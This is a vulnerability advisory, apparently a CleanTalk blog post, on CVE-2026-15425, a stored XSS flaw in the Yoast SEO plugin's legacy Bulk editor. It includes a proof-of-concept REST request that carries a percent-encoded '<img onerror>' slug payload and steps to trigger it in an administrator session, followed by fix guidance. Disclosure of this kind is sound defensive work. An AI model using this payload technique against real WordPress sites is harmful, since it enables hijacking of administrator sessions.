CVE-2026-15425 is a Stored Cross-Site Scripting vulnerability in the Yoast SEO WordPress plugin through version 28.0. An authenticated Author or higher-privileged user can save a percent-encoded payload in a post slug. When a user opens the affected post listing in the legacy Yoast Bulk editor on a site with pretty permalinks enabled, the decoded slug can become executable HTML in that browser. An administrator viewing the listing could be affected. The issue is fixed in version 28.1.

CVECVE-2026-15425
Plugin VersionYoast SEO <= 28.0, fixed in 28.1
All Time1 019 888 973
Active installations10 000 000+
Publicly PublishedMay 21, 2026
Last UpdatedMay 21, 2026
ResearcherDmitrii Ignatyev
CWECWE-79 Cross-Site Scripting
PoCYes
ExploitNo
Referencehttps://www.cve.org/CVERecord?id=CVE-2026-15425
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wordpress-seo/yoast-seo-280-authenticated-author-stored-cross-site-scripting-via-post-slug-post-name
Plugin Security Certification by CleanTalk
Logo of the pluginYoast SEO plugin logo

Join the community of developers who prioritize security. Highlight your plugin in the WordPress catalog.

PSC by Cleantalk

Timeline

May 21, 2026Plugin testing and vulnerability detection in Yoast SEO were completed.
May 21, 2026The vulnerability report was sent with the PoC, technical description, and recommendations for remediation.
May 21, 2026The vulnerability was publicly disclosed as CVE-2026-15425.

Discovery of the Vulnerability

The vulnerable output is the col_page_slug branch of WPSEO_Bulk_List_Table::parse_column() in admin/class-bulk-editor-list-table.php. The legacy Bulk editor obtains a post URL with get_permalink(), removes the site URL for display, and applies rawurldecode() followed by stripslashes(). The result is inserted directly into the text content of an anchor element. The link target is passed through esc_url(), but its displayed text is not HTML-escaped.

WordPress can retain percent-encoded octets in post_name. With pretty permalinks enabled, those bytes become part of the URL returned by get_permalink(). Decoding them inside the Bulk editor can turn a stored slug into an HTML element. This is an output-context failure in the administrative listing rather than a requirement for the Author to submit unrestricted HTML in the post body. The vulnerable branch is visible in the source referenced by the Wordfence advisory.

Understanding of Stored Cross-Site Scripting attacks

Stored Cross-Site Scripting occurs when saved input reaches a browser as executable markup. Here, the post slug is saved by one user and later reused as a human-readable address in an administrative screen. URL encoding preserves characters during storage and transport, but it does not make the decoded string safe to insert into HTML.

The attacker needs an Author account or higher privileges and control over an owned post slug. A user must then view the affected entry in the legacy Bulk editor. If that viewer is an administrator, injected JavaScript runs in the site origin within the administrator browser session and may perform actions available to that session. The source path reviewed for this article is the administrative listing. It does not establish that ordinary frontend post visits alone trigger this particular sink.

Exploiting the Stored Cross-Site Scripting Vulnerability

The following source-derived example uses an alert to show the expected effect of the decoded slug. It requires an isolated WordPress installation with an affected Yoast SEO version and pretty permalinks already enabled. It is a reproduction procedure based on the referenced code, not a claim of a new runtime test.

POC:

POC:
Account - Author or higher with permission to publish and edit an owned post
Affected plugin - Yoast SEO 28.0 or an earlier affected release
Configuration - pretty permalinks enabled on an isolated test site

1. Sign in as an Author and publish a harmless test post.
2. Update that owned post through the authenticated WordPress REST API.
   Use the Author session and its valid REST nonce.

POST /wp-json/wp/v2/posts/TEST_POST_ID
Content-Type: application/json
X-WP-Nonce: AUTHOR_REST_NONCE

{"slug":"%3cimg%20src%3dx%20onerror%3dalert%281%29%3e"}

3. Confirm that the saved slug retains the percent-encoded value.
4. In an Administrator session on the same test site, open
   /wp-admin/admin.php?page=wpseo_tools&tool=bulk-editor
5. Locate the test post in the Bulk editor listing.
6. Expected vulnerable behavior - the decoded slug is inserted as an image
   element in the Page URL/Slug column and its error handler displays alert(1).
7. Restore the test post's original slug after the check.

This example is derived from the referenced source code.
It was not independently reproduced for this article.

____

The JSON slug must be sent as the percent-encoded string shown above. Its decoded form is <img src=x onerror=alert(1)>. The legacy listing decodes the stored URL and places that markup in the Page URL/Slug cell. Escaping the anchor destination alone does not protect its separate text content.

Recommendations for Improved Security

Update Yoast SEO to 28.1 or a newer patched release. The Yoast changelog describes a redesigned Bulk editor in 28.1, and the 28.1 Tools page routes Bulk editor access to the new page instead of loading the legacy tool. Until the update is complete, limit access to the affected listing and review unexpected percent-encoded markup in post slugs.

Developers should treat decoded slugs as untrusted text. Escape display values with esc_html() at the HTML output boundary and keep esc_url() for link destinations. Avoid decoding URL data directly into markup. Site owners should review Author accounts and investigate suspicious saved slugs. Installing the patched version should be followed by checking and correcting any payloads already stored in the database.

Addressing CVE-2026-15425 prevents a lower-privileged post slug from becoming executable markup in an administrative workflow. Correct handling of decoded URL data protects the people reviewing and maintaining site content.

#WordPressSecurity #StoredXSS #YoastSEO #PluginSecurity #WebsiteSafety #StayProtected

Use CleanTalk solutions to improve the security of your website.

CVE-2026-15425 - Yoast SEO - Stored XSS - POC

Dmitrii I

Pentester with 5 years of hands-on experience securing WordPress and web applications, holding OSWE, OSEP, OSCP, and OSWP certifications. Author of 450 published CVEs, including 35 disclosed within the last month. Specializes in discovering and validating high-impact vulnerabilities in WordPress plugins/themes / Custom WEB applications and delivering actionable remediation guidance to harden production sites.

See all posts by dmitrii-ignatyev

Leave a Reply

Your email address will not be published. Required fields are marked *